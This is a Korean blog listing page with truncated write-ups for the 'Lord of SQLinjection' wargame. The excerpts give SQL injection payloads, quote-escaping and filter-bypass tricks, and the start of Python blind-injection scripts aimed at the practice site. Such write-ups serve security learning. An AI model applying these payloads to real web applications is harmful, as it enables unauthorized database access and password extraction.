본문 바로가기

모의해킹/Lord of SQLinjection

(18)
nightmare 문제 접근 1. if($result ['id]) solve을 보면 어떤 id의 값을 가져오면 됨 2. 필터링 : _ . () # - 3. pw의 길이 6자 이하 -> pw의 값을 참으로 만든 다음 and부터는 주석으로 처리해주면 될 것 같음... 주석 부분은 # , - 문자를 사용하지 못하므로 %23, /**/, ;%00 중에 /**/ 은 사용하지 못함, %23 도 사용 못함 select id from prob_nightmare where pw=('')=0;%00 and id!='admin' 검색을 통해 문제를 풀었다,,, ('')=0 이 참으로 인식되는지 처음 알았다...
zombie_assassin 문제 접근 1. strrev 함수로 인해 뒤집어서 출력이 됨 2. addslashes 함수로 인해 id='' 두 번째 따옴표를 문자열로 \ 가 출력이 됨 select id from prob_zombie_assassin where id=%00&&pw=%23%201=1% 20ro%20 strrev 함수가 없을때의 페이로드는 id=%00&&pw= or 1=1 %23이다. id값에 %00(널 값)을 넣으면 addslashes 때문에 \ 가 자동으로 생기면서 'and pw='가 한 문자열이 된다.
succubus 문제 접근 1. ' 가 을 사용하지 않고 id 값만 출력되게 하면 된다. 즉, pw값을 무력화시켜줘 여한다. select id from prob_succubus where id='\' and pw='|| 1=1#' id='' 의 두 번째 따옴표 앞에 \ 을 넣으면 문자열로 인식이 된다. 그래서 id='\' and pw='가 한 문자열이 되고, || 1=1 # 로 인해 참 값이 되어 문제가 풀린다.
assassin 문제 접근 1. '(싱글쿼터) 필터링 2. like 절 특성(sqli 와일드카드) % 모든 문자 _ 한 글자 A% A로 시작하는 모든 문자 %A A로 끝나는 모든 문자 %A% A를 포함하는 모든 문자 3. admin pw 값 구하기 ___e% 의미는 앞에 3글자가 있고 네 번째의 글자가 e인 경우 import requests import string string = string.ascii_lowercase + string.digits url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?' cookie = {"PHPSESSID":"gcltff8itu5i5fc0lr3rel95vu"} str = '' for i in ..
giant 문제 접근 1. \n, \r, \t 필터링 2. 입력 문자가 1 이상이면 안됨 3. from과 prob 사이에 공백이 필요 공백 우회 %09 : tab %0a : line feed %0b : vertical tab %0c : form feed %0d : carriage return + : 공백
bugbear 문제 접근 1. '(싱글쿼터) 필터링 + substr, ascii, =, or, and, 공백, like, 0x 필터링 2. Blind SQL Injection 2.1 pw의 길이 구하기 or, and 연산자 -> %26%26, || 으로 우회 like, = 연산자 -> in 으로 우회 import requests url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?' cookie={"PHPSESSID":"ehfeb49bjnrn7o6flaqbts8u2v"} for i in range(1,100): params ='no=1/**/||/**/id/**/in/**/("admin")/**/%26%26/**/length(p..
darknight 문제 접근 1. 필터링 및 SQL Injection 포인트 찾기 no 파라미터를 통해 SQL 인젝션 공격을 시도하면 될꺼같다. 2. Blind SQL Injection 2.1 admin의 pw 길이 '(싱글 쿼터)가 필터링이 되기 때문에 id like 'admin'을 대신해 admin의 hex 값을 이용해 id like 0x61646 d696 e 사용 import requests url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?' cookies = {"PHPSESSID":"r1g9lcvjgj13dag8l5migjcus0"} for i in range(100): params = 'no=1 or id like..
golem 문제 접근 1. 연산자 필터링 되어 있음 or 연산자 대신 || 사용, = 연산자 대신 like 함수 사용 2. blind SQL Injection으로 admi의 pw를 구해야 함 2.1 admin pw 길이 구하기 select id from prob_golem where id='guest' and pw=''||id like 'admin' %26%26 length(pw) like '8' import requests url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?' cookies = {"PHPSESSID":"r1g9lcvjgj13dag8l5migjcus0"} for i in range(100): params = "..